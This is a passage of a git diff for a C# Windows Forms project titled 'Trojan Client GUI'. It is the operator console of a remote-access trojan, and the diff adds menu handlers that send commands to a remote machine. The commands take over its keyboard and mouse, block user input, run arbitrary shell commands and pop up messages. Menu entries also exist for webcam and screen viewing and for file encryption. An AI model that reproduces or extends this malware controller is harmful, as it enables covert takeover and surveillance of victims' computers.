static readonly IPEndPoint BAD_IPENDPOINT = new IPEndPoint(IPAddress.Parse("0.0.0.0"), 0); + #region Constants - public IPEndPoint endpoint { get; set; } + public static readonly IPEndPoint BAD_IPENDPOINT = new IPEndPoint(IPAddress.Parse("255.255.255.255"), 65535); - public InitProgramForm() - { - InitializeComponent(); - this.endpoint = BAD_IPENDPOINT; - } + #endregion + + #region Properties + public IPEndPoint IPEndPoint { get; set; } + + #endregion + + #region Methods + private bool CheckInput(string str) { Regex rgx = new Regex(@"\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)[:](6553[0-5]|655[0-2][0-9]|65[0-4][0-9][0-9]|6[0-4][0-9][0-9][0-9]|[1-5][0-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9]|[1-9]?)\b"); @@ -32,35 +36,55 @@ private bool CheckInput(string str) return rgx.IsMatch(str); } + #endregion + + #region Events + private void InitProgramForm_Load(object sender, EventArgs e) { - if (File.Exists("Connection.properties")) - { - string connection_line = File.ReadAllText("Connection.properties"); - string[] ip_port = connection_line.Split(':'); - this.endpoint = new IPEndPoint(IPAddress.Parse(ip_port.First()), int.Parse(ip_port.Last())); - this.Close(); - } } - private void confirm_button_Click(object sender, EventArgs e) + private void confirmButton_Click(object sender, EventArgs e) { - if(!this.CheckInput(ip_port_textBox.Text)) + if(!this.CheckInput(ipAndPortTextBox.Text)) ip_port_label.Text = "Wrong input"; else { - File.WriteAllText("Connection.properties", ip_port_label.Text); + File.WriteAllText("Connection.properties", ipAndPortTextBox.Text); + + string[] ip_port = ipAndPortTextBox.Text.Split(':'); + this.IPEndPoint = new IPEndPoint(IPAddress.Parse(ip_port.First()), Int16.Parse(ip_port.Last())); - string[] ip_port = ip_port_textBox.Text.Split(':'); - this.endpoint = new IPEndPoint(IPAddress.Parse(ip_port.First()), int.Parse(ip_port.Last())); this.Close(); } } - private void ip_port_textBox_TextChanged(object sender, EventArgs e) + private void ipAndPortTextBox_Click(object sender, EventArgs e) + { + ipAndPortTextBox.Text = ""; + } + + #endregion + + #region Constructors + + public InitProgramForm() { - ip_port_label.Text = ip_port_textBox.Text; + if (File.Exists("Connection.properties")) + { + string connectionLine = File.ReadAllText("Connection.properties"); + string[] ipAndPort = connectionLine.Split(':'); + + this.IPEndPoint = new IPEndPoint(IPAddress.Parse(ipAndPort.First()), int.Parse(ipAndPort.Last())); + } + else + this.IPEndPoint = BAD_IPENDPOINT; + + InitializeComponent(); } + + + #endregion } } diff --git a/VS17/Client GUI/InitProgramForm.resx b/VS17/Client GUI/InputForms/InitProgramForm.resx similarity index 100% rename from VS17/Client GUI/InitProgramForm.resx rename to VS17/Client GUI/InputForms/InitProgramForm.resx diff --git a/VS17/Client GUI/MainWindowForm.Designer.cs b/VS17/Client GUI/MainWindowForm.Designer.cs index bb751b8..711f370 100644 --- a/VS17/Client GUI/MainWindowForm.Designer.cs +++ b/VS17/Client GUI/MainWindowForm.Designer.cs @@ -13,7 +13,7 @@ protected override void Dispose(bool disposing) if (disposing && (components != null)) { components.Dispose(); - m_client.Dispose(); + client.Dispose(); } base.Dispose(disposing); } @@ -26,15 +26,13 @@ protected override void Dispose(bool disposing) /// private void InitializeComponent() { - this.components = new System.ComponentModel.Container(); - this.menuStrip1 = new System.Windows.Forms.MenuStrip(); - this.trojanToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.menuStrip = new System.Windows.Forms.MenuStrip(); + this.clientToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.updateIPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); + this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.functionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.messageBoxToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.aboutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); - this.blockInputToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.onToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.offToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.remoteDesktopViewToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.startToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.stopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); @@ -42,42 +40,71 @@ private void InitializeComponent() this.startToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.stopToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.keyboardControlToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.startToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); - this.stopToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.keyboardControlOnToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.keyboardControlOffToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.mouseControlToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.startToolStripMenuItem3 = new System.Windows.Forms.ToolStripMenuItem(); - this.stopToolStripMenuItem3 = new System.Windows.Forms.ToolStripMenuItem(); + this.mouseControlOnToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.mouseControlOffToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.executeShellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.fIleToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.encryptToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.decryptToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.importToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.exportToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.blockInputToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.blockInputOnToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.blockInputOffToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.playSoundToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.startToolStripMenuItem4 = new System.Windows.Forms.ToolStripMenuItem(); this.stopToolStripMenuItem4 = new System.Windows.Forms.ToolStripMenuItem(); - this.serverToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.updateIPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); - this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.menuStrip1.SuspendLayout(); + this.aboutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.menuStrip.SuspendLayout(); this.SuspendLayout(); // - // menuStrip1 + // menuStrip // - this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.serverToolStripMenuItem, - this.trojanToolStripMenuItem, + this.menuStrip.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); + this.menuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.clientToolStripMenuItem, + this.functionsToolStripMenuItem, this.aboutToolStripMenuItem}); - this.menuStrip1.Location = new System.Drawing.Point(0, 0); - this.menuStrip1.Name = "menuStrip1"; - this.menuStrip1.Size = new System.Drawing.Size(800, 24); - this.menuStrip1.TabIndex = 0; - this.menuStrip1.Text = "menuStrip1"; + this.menuStrip.Location = new System.Drawing.Point(0, 0); + this.menuStrip.Name = "menuStrip"; + this.menuStrip.Size = new System.Drawing.Size(800, 24); + this.menuStrip.TabIndex = 0; + // + // clientToolStripMenuItem + // + this.clientToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.updateIPToolStripMenuItem, + this.toolStripSeparator1, + this.exitToolStripMenuItem}); + this.clientToolStripMenuItem.Name = "clientToolStripMenuItem"; + this.clientToolStripMenuItem.Size = new System.Drawing.Size(61, 20); + this.clientToolStripMenuItem.Text = "Client"; + // + // updateIPToolStripMenuItem + // + this.updateIPToolStripMenuItem.Name = "updateIPToolStripMenuItem"; + this.updateIPToolStripMenuItem.Size = new System.Drawing.Size(137, 22); + this.updateIPToolStripMenuItem.Text = "Update IP"; + this.updateIPToolStripMenuItem.Click += new System.EventHandler(this.updateIPToolStripMenuItem_Click); // - // trojanToolStripMenuItem + // toolStripSeparator1 + // + this.toolStripSeparator1.Name = "toolStripSeparator1"; + this.toolStripSeparator1.Size = new System.Drawing.Size(134, 6); // - this.trojanToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + // exitToolStripMenuItem + // + this.exitToolStripMenuItem.Name = "exitToolStripMenuItem"; + this.exitToolStripMenuItem.Size = new System.Drawing.Size(137, 22); + this.exitToolStripMenuItem.Text = "Exit"; + this.exitToolStripMenuItem.Click += new System.EventHandler(this.exitToolStripMenuItem_Click); + // + // functionsToolStripMenuItem + // + this.functionsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.messageBoxToolStripMenuItem, this.remoteDesktopViewToolStripMenuItem, this.viewWebcamToolStripMenuItem, @@ -87,9 +114,9 @@ private void InitializeComponent() this.fIleToolStripMenuItem, this.blockInputToolStripMenuItem, this.playSoundToolStripMenuItem}); - this.trojanToolStripMenuItem.Name = "trojanToolStripMenuItem"; - this.trojanToolStripMenuItem.Size = new System.Drawing.Size(66, 20); - this.trojanToolStripMenuItem.Text = "Function"; + this.functionsToolStripMenuItem.Name = "functionsToolStripMenuItem"; + this.functionsToolStripMenuItem.Size = new System.Drawing.Size(82, 20); + this.functionsToolStripMenuItem.Text = "Functions"; // // messageBoxToolStripMenuItem // @@ -98,40 +125,6 @@ private void InitializeComponent() this.messageBoxToolStripMenuItem.Text = "MessageBox"; this.messageBoxToolStripMenuItem.Click += new System.EventHandler(this.messageBoxToolStripMenuItem_Click); // - // aboutToolStripMenuItem - // - this.aboutToolStripMenuItem.Enabled = false; - this.aboutToolStripMenuItem.Name = "aboutToolStripMenuItem"; - this.aboutToolStripMenuItem.Size = new System.Drawing.Size(52, 20); - this.aboutToolStripMenuItem.Text = "About"; - // - // contextMenuStrip1 - // - this.contextMenuStrip1.Name = "contextMenuStrip1"; - this.contextMenuStrip1.Size = new System.Drawing.Size(61, 4); - // - // blockInputToolStripMenuItem - // - this.blockInputToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.onToolStripMenuItem, - this.offToolStripMenuItem}); - this.blockInputToolStripMenuItem.Enabled = false; - this.blockInputToolStripMenuItem.Name = "blockInputToolStripMenuItem"; - this.blockInputToolStripMenuItem.Size = new System.Drawing.Size(180, 22); - this.blockInputToolStripMenuItem.Text = "BlockInput"; - // - // onToolStripMenuItem - // - this.onToolStripMenuItem.Name = "onToolStripMenuItem"; - this.onToolStripMenuItem.Size = new System.Drawing.Size(180, 22); - this.onToolStripMenuItem.Text = "On"; - // - // offToolStripMenuItem - // - this.offToolStripMenuItem.Name = "offToolStripMenuItem"; - this.offToolStripMenuItem.Size = new System.Drawing.Size(180, 22); - this.offToolStripMenuItem.Text = "Off"; - // // remoteDesktopViewToolStripMenuItem // this.remoteDesktopViewToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { @@ -145,13 +138,13 @@ private void InitializeComponent() // startToolStripMenuItem // this.startToolStripMenuItem.Name = "startToolStripMenuItem"; - this.startToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.startToolStripMenuItem.Size = new System.Drawing.Size(109, 22); this.startToolStripMenuItem.Text = "Start"; // // stopToolStripMenuItem // this.stopToolStripMenuItem.Name = "stopToolStripMenuItem"; - this.stopToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.stopToolStripMenuItem.Size = new System.Drawing.Size(109, 22); this.stopToolStripMenuItem.Text = "Stop"; // // viewWebcamToolStripMenuItem @@ -167,65 +160,69 @@ private void InitializeComponent() // startToolStripMenuItem1 // this.startToolStripMenuItem1.Name = "startToolStripMenuItem1"; - this.startToolStripMenuItem1.Size = new System.Drawing.Size(180, 22); + this.startToolStripMenuItem1.Size = new System.Drawing.Size(109, 22); this.startToolStripMenuItem1.Text = "Start"; // // stopToolStripMenuItem1 // this.stopToolStripMenuItem1.Name = "stopToolStripMenuItem1"; - this.stopToolStripMenuItem1.Size = new System.Drawing.Size(180, 22); + this.stopToolStripMenuItem1.Size = new System.Drawing.Size(109, 22); this.stopToolStripMenuItem1.Text = "Stop"; // // keyboardControlToolStripMenuItem // this.keyboardControlToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.startToolStripMenuItem2, - this.stopToolStripMenuItem2}); - this.keyboardControlToolStripMenuItem.Enabled = false; + this.keyboardControlOnToolStripMenuItem, + this.keyboardControlOffToolStripMenuItem}); this.keyboardControlToolStripMenuItem.Name = "keyboardControlToolStripMenuItem"; this.keyboardControlToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.keyboardControlToolStripMenuItem.Text = "KeyboardControl"; // - // startToolStripMenuItem2 + // keyboardControlOnToolStripMenuItem // - this.startToolStripMenuItem2.Name = "startToolStripMenuItem2"; - this.startToolStripMenuItem2.Size = new System.Drawing.Size(180, 22); - this.startToolStripMenuItem2.Text = "Start"; + this.keyboardControlOnToolStripMenuItem.Name = "keyboardControlOnToolStripMenuItem"; + this.keyboardControlOnToolStripMenuItem.Size = new System.Drawing.Size(95, 22); + this.keyboardControlOnToolStripMenuItem.Text = "On"; + this.keyboardControlOnToolStripMenuItem.Click += new System.EventHandler(this.keyboardControlOnToolStripMenuItem_Click); // - // stopToolStripMenuItem2 + // keyboardControlOffToolStripMenuItem // - this.stopToolStripMenuItem2.Name = "stopToolStripMenuItem2"; - this.stopToolStripMenuItem2.Size = new System.Drawing.Size(180, 22); - this.stopToolStripMenuItem2.Text = "Stop"; + this.keyboardControlOffToolStripMenuItem.Enabled = false; + this.keyboardControlOffToolStripMenuItem.Name = "keyboardControlOffToolStripMenuItem"; + this.keyboardControlOffToolStripMenuItem.Size = new System.Drawing.Size(95, 22); + this.keyboardControlOffToolStripMenuItem.Text = "Off"; + this.keyboardControlOffToolStripMenuItem.Click += new System.EventHandler(this.keyboardControlOffToolStripMenuItem_Click); // // mouseControlToolStripMenuItem // this.mouseControlToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.startToolStripMenuItem3, - this.stopToolStripMenuItem3}); - this.mouseControlToolStripMenuItem.Enabled = false; + this.mouseControlOnToolStripMenuItem, + this.mouseControlOffToolStripMenuItem}); this.mouseControlToolStripMenuItem.Name = "mouseControlToolStripMenuItem"; this.mouseControlToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.mouseControlToolStripMenuItem.Text = "MouseControl"; // - // startToolStripMenuItem3 + // mouseControlOnToolStripMenuItem // - this.startToolStripMenuItem3.Name = "startToolStripMenuItem3"; - this.startToolStripMenuItem3.Size = new System.Drawing.Size(180, 22); - this.startToolStripMenuItem3.Text = "Start"; + this.mouseControlOnToolStripMenuItem.Name = "mouseControlOnToolStripMenuItem"; + this.mouseControlOnToolStripMenuItem.Size = new System.Drawing.Size(95, 22); + this.mouseControlOnToolStripMenuItem.Text = "On"; + this.mouseControlOnToolStripMenuItem.Click += new System.EventHandler(this.mouseControlOnToolStripMenuItem_Click); // - // stopToolStripMenuItem3 + // mouseControlOffToolStripMenuItem // - this.stopToolStripMenuItem3.Name = "stopToolStripMenuItem3"; - this.stopToolStripMenuItem3.Size = new System.Drawing.Size(180, 22); - this.stopToolStripMenuItem3.Text = "Stop"; + this.mouseControlOffToolStripMenuItem.Enabled = false; + this.mouseControlOffToolStripMenuItem.Name = "mouseControlOffToolStripMenuItem"; + this.mouseControlOffToolStripMenuItem.Size = new System.Drawing.Size(95, 22); + this.mouseControlOffToolStripMenuItem.Text = "Off"; + this.mouseControlOffToolStripMenuItem.Click += new System.EventHandler(this.mouseControlOffToolStripMenuItem_Click); // // executeShellToolStripMenuItem // - this.executeShellToolStripMenuItem.Enabled = false; this.executeShellToolStripMenuItem.Name = "executeShellToolStripMenuItem"; this.executeShellToolStripMenuItem.Size = new System.Drawing.Size(180, 22); - this.executeShellToolStripMenuItem.Text = "ExecuteShell"; + this.executeShellToolStripMenuItem.Text = "ExecuteCmd"; + this.executeShellToolStripMenuItem.Click += new System.EventHandler(this.executeCmdToolStripMenuItem_Click); // // fIleToolStripMenuItem // @@ -242,27 +239,51 @@ private void InitializeComponent() // encryptToolStripMenuItem // this.encryptToolStripMenuItem.Name = "encryptToolStripMenuItem"; - this.encryptToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.encryptToolStripMenuItem.Size = new System.Drawing.Size(123, 22); this.encryptToolStripMenuItem.Text = "Encrypt"; // // decryptToolStripMenuItem // this.decryptToolStripMenuItem.Name = "decryptToolStripMenuItem"; - this.decryptToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.decryptToolStripMenuItem.Size = new System.Drawing.Size(123, 22); this.decryptToolStripMenuItem.Text = "Decrypt"; // // importToolStripMenuItem // this.importToolStripMenuItem.Name = "importToolStripMenuItem"; - this.importToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.importToolStripMenuItem.Size = new System.Drawing.Size(123, 22); this.importToolStripMenuItem.Text = "Import"; // // exportToolStripMenuItem // this.exportToolStripMenuItem.Name = "exportToolStripMenuItem"; - this.exportToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.exportToolStripMenuItem.Size = new System.Drawing.Size(123, 22); this.exportToolStripMenuItem.Text = "Export"; // + // blockInputToolStripMenuItem + // + this.blockInputToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.blockInputOnToolStripMenuItem, + this.blockInputOffToolStripMenuItem}); + this.blockInputToolStripMenuItem.Name = "blockInputToolStripMenuItem"; + this.blockInputToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.blockInputToolStripMenuItem.Text = "BlockInput"; + // + // blockInputOnToolStripMenuItem + // + this.blockInputOnToolStripMenuItem.Name = "blockInputOnToolStripMenuItem"; + this.blockInputOnToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.blockInputOnToolStripMenuItem.Text = "On"; + this.blockInputOnToolStripMenuItem.Click += new System.EventHandler(this.blockInputOnToolStripMenuItem_Click); + // + // blockInputOffToolStripMenuItem + // + this.blockInputOffToolStripMenuItem.Enabled = false; + this.blockInputOffToolStripMenuItem.Name = "blockInputOffToolStripMenuItem"; + this.blockInputOffToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.blockInputOffToolStripMenuItem.Text = "Off"; + this.blockInputOffToolStripMenuItem.Click += new System.EventHandler(this.blockInputOffToolStripMenuItem_Click); + // // playSoundToolStripMenuItem // this.playSoundToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { @@ -276,56 +297,37 @@ private void InitializeComponent() // startToolStripMenuItem4 // this.startToolStripMenuItem4.Name = "startToolStripMenuItem4"; - this.startToolStripMenuItem4.Size = new System.Drawing.Size(180, 22); + this.startToolStripMenuItem4.Size = new System.Drawing.Size(109, 22); this.startToolStripMenuItem4.Text = "Start"; // // stopToolStripMenuItem4 // this.stopToolStripMenuItem4.Name = "stopToolStripMenuItem4"; - this.stopToolStripMenuItem4.Size = new System.Drawing.Size(180, 22); + this.stopToolStripMenuItem4.Size = new System.Drawing.Size(109, 22); this.stopToolStripMenuItem4.Text = "Stop"; // - // serverToolStripMenuItem - // - this.serverToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.updateIPToolStripMenuItem, - this.toolStripSeparator1, - this.exitToolStripMenuItem}); - this.serverToolStripMenuItem.Name = "serverToolStripMenuItem"; - this.serverToolStripMenuItem.Size = new System.Drawing.Size(51, 20); - this.serverToolStripMenuItem.Text = "Server"; - // - // updateIPToolStripMenuItem - // - this.updateIPToolStripMenuItem.Name = "updateIPToolStripMenuItem"; - this.updateIPToolStripMenuItem.Size = new System.Drawing.Size(180, 22); - this.updateIPToolStripMenuItem.Text = "Update IP"; - this.updateIPToolStripMenuItem.Click += new System.EventHandler(this.updateIPToolStripMenuItem_Click); - // - // toolStripSeparator1 - // - this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(177, 6); - // - // exitToolStripMenuItem + // aboutToolStripMenuItem // - this.exitToolStripMenuItem.Name = "exitToolStripMenuItem"; - this.exitToolStripMenuItem.Size = new System.Drawing.Size(180, 22); - this.exitToolStripMenuItem.Text = "Exit"; - this.exitToolStripMenuItem.Click += new System.EventHandler(this.exitToolStripMenuItem_Click); + this.aboutToolStripMenuItem.Enabled = false; + this.aboutToolStripMenuItem.Name = "aboutToolStripMenuItem"; + this.aboutToolStripMenuItem.Size = new System.Drawing.Size(54, 20); + this.aboutToolStripMenuItem.Text = "About"; // // MainWindowForm // + this.AllowDrop = true; this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(800, 450); - this.Controls.Add(this.menuStrip1); - this.MainMenuStrip = this.menuStrip1; + this.Controls.Add(this.menuStrip); + this.MainMenuStrip = this.menuStrip; this.Name = "MainWindowForm"; + this.ShowIcon = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "Trojan Client GUI"; this.Load += new System.EventHandler(this.MainWindow_Load); - this.menuStrip1.ResumeLayout(false); - this.menuStrip1.PerformLayout(); + this.menuStrip.ResumeLayout(false); + this.menuStrip.PerformLayout(); this.ResumeLayout(false); this.PerformLayout(); @@ -333,12 +335,11 @@ private void InitializeComponent() #endregion - private System.Windows.Forms.MenuStrip menuStrip1; - private System.Windows.Forms.ToolStripMenuItem trojanToolStripMenuItem; + private System.Windows.Forms.MenuStrip menuStrip; + private System.Windows.Forms.ToolStripMenuItem functionsToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem messageBoxToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem aboutToolStripMenuItem; - private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; - private System.Windows.Forms.ToolStripMenuItem serverToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem clientToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem updateIPToolStripMenuItem; private System.Windows.Forms.ToolStripSeparator toolStripSeparator1; private System.Windows.Forms.ToolStripMenuItem exitToolStripMenuItem; @@ -349,11 +350,11 @@ private void InitializeComponent() private System.Windows.Forms.ToolStripMenuItem startToolStripMenuItem1; private System.Windows.Forms.ToolStripMenuItem stopToolStripMenuItem1; private System.Windows.Forms.ToolStripMenuItem keyboardControlToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem startToolStripMenuItem2; - private System.Windows.Forms.ToolStripMenuItem stopToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem keyboardControlOnToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem keyboardControlOffToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem mouseControlToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem startToolStripMenuItem3; - private System.Windows.Forms.ToolStripMenuItem stopToolStripMenuItem3; + private System.Windows.Forms.ToolStripMenuItem mouseControlOnToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem mouseControlOffToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem executeShellToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem fIleToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem encryptToolStripMenuItem; @@ -361,8 +362,8 @@ private void InitializeComponent() private System.Windows.Forms.ToolStripMenuItem importToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem exportToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem blockInputToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem onToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem offToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem blockInputOnToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem blockInputOffToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem playSoundToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem startToolStripMenuItem4; private System.Windows.Forms.ToolStripMenuItem stopToolStripMenuItem4; diff --git a/VS17/Client GUI/MainWindowForm.cs b/VS17/Client GUI/MainWindowForm.cs index 4c25461..2ddc4ae 100644 --- a/VS17/Client GUI/MainWindowForm.cs +++ b/VS17/Client GUI/MainWindowForm.cs @@ -9,17 +9,19 @@ namespace Client_GUI { public partial class MainWindowForm : Form { - public bool reinit { get; set; } + #region Fields - NativeClient.NativeMethods m_client; + private NativeClient.Client client; - public MainWindowForm(IPEndPoint endpoint) - { - m_client = new NativeClient.NativeMethods(endpoint); - reinit = false; + #endregion - InitializeComponent(); - } + #region Properties + + public bool Reinit { get; set; } + + #endregion + + #region Events private void MainWindow_Load(object sender, EventArgs e) { @@ -30,8 +32,8 @@ private void messageBoxToolStripMenuItem_Click(object sender, EventArgs e) { GetMessageForm form = new GetMessageForm(); form.ShowDialog(); - if(form.message != "") - m_client.SendCommand("message " + form.message); + if(form.Message != string.Empty) + this.client.SendCommand("message " + form.Message); } private void exitToolStripMenuItem_Click(object sender, EventArgs e) @@ -42,9 +44,79 @@ private void exitToolStripMenuItem_Click(object sender, EventArgs e) private void updateIPToolStripMenuItem_Click(object sender, EventArgs e) { File.Delete("Connection.properties"); - this.reinit = true; + this.Reinit = true; this.Close(); } + + private void keyboardControlOnToolStripMenuItem_Click(object sender, EventArgs e) + { + keyboardControlOnToolStripMenuItem.Enabled = false; + keyboardControlOffToolStripMenuItem.Enabled = true; + + this.client.SendCommand("kbon"); // TODO: in thread + } + + private void keyboardControlOffToolStripMenuItem_Click(object sender, EventArgs e) + { + keyboardControlOffToolStripMenuItem.Enabled = false; + keyboardControlOnToolStripMenuItem.Enabled = true; + + this.client.SendCommand("kboff"); + } + + private void mouseControlOnToolStripMenuItem_Click(object sender, EventArgs e) + { + mouseControlOnToolStripMenuItem.Enabled = false; + mouseControlOffToolStripMenuItem.Enabled = true; + + this.client.SendCommand("mon"); // TODO: in thread + } + + private void mouseControlOffToolStripMenuItem_Click(object sender, EventArgs e) + { + mouseControlOffToolStripMenuItem.Enabled = false; + mouseControlOnToolStripMenuItem.Enabled = true; + + this.client.SendCommand("moff"); + } + + private void executeCmdToolStripMenuItem_Click(object sender, EventArgs e) + { + GetMessageForm form = new GetMessageForm(); + form.ShowDialog(); + if (form.Message != string.Empty) + this.client.SendCommand("cmd " + form.Message); + } + + private void blockInputOnToolStripMenuItem_Click(object sender, EventArgs e) + { + blockInputOnToolStripMenuItem.Enabled = false; + blockInputOffToolStripMenuItem.Enabled = true; + + this.client.SendCommand("bion"); + } + + private void blockInputOffToolStripMenuItem_Click(object sender, EventArgs e) + { + blockInputOffToolStripMenuItem.Enabled = false; + blockInputOnToolStripMenuItem.Enabled = true; + + this.client.SendCommand("bioff"); + } + + #endregion + + #region Constructors + + public MainWindowForm(IPEndPoint ipEndPoint) + { + this.client = new NativeClient.Client(ipEndPoint); + this.Reinit = false; + + InitializeComponent(); + } + + #endregion } } diff --git a/VS17/Client GUI/MainWindowForm.resx b/VS17/Client GUI/MainWindowForm.resx index 1e1cc16..9d84515 100644 --- a/VS17/Client GUI/MainWindowForm.resx +++ b/VS17/Client GUI/MainWindowForm.resx @@ -117,10 +117,7 @@ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - + 17, 17 - - 132, 17 - \ No newline at end of file diff --git a/VS17/Client GUI/MainWindowInputForms/GetMessageForm.Designer.cs b/VS17/Client GUI/MainWindowInputForms/GetMessageForm.Designer.cs deleted file mode 100644 index 5488505..0000000 --- a/VS17/Client GUI/MainWindowInputForms/GetMessageForm.Designer.cs +++ /dev/null @@ -1,86 +0,0 @@ -namespace Client_GUI.MainWindowInputForms -{ - partial class GetMessageForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.send_button = new System.Windows.Forms.Button(); - this.cancel_button = new System.Windows.Forms.Button(); - this.message_textBox = new System.Windows.Forms.TextBox(); - this.SuspendLayout(); - // - // send_button - // - this.send_button.Location = new System.Drawing.Point(21, 190); - this.send_button.Name = "send_button"; - this.send_button.Size = new System.Drawing.Size(75, 23); - this.send_button.TabIndex = 0; - this.send_button.Text = "Send"; - this.send_button.UseVisualStyleBackColor = true; - this.send_button.Click += new System.EventHandler(this.send_button_Click); - // - // cancel_button - // - this.cancel_button.Location = new System.Drawing.Point(114, 190); - this.cancel_button.Name = "cancel_button"; - this.cancel_button.Size = new System.Drawing.Size(75, 23); - this.cancel_button.TabIndex = 1; - 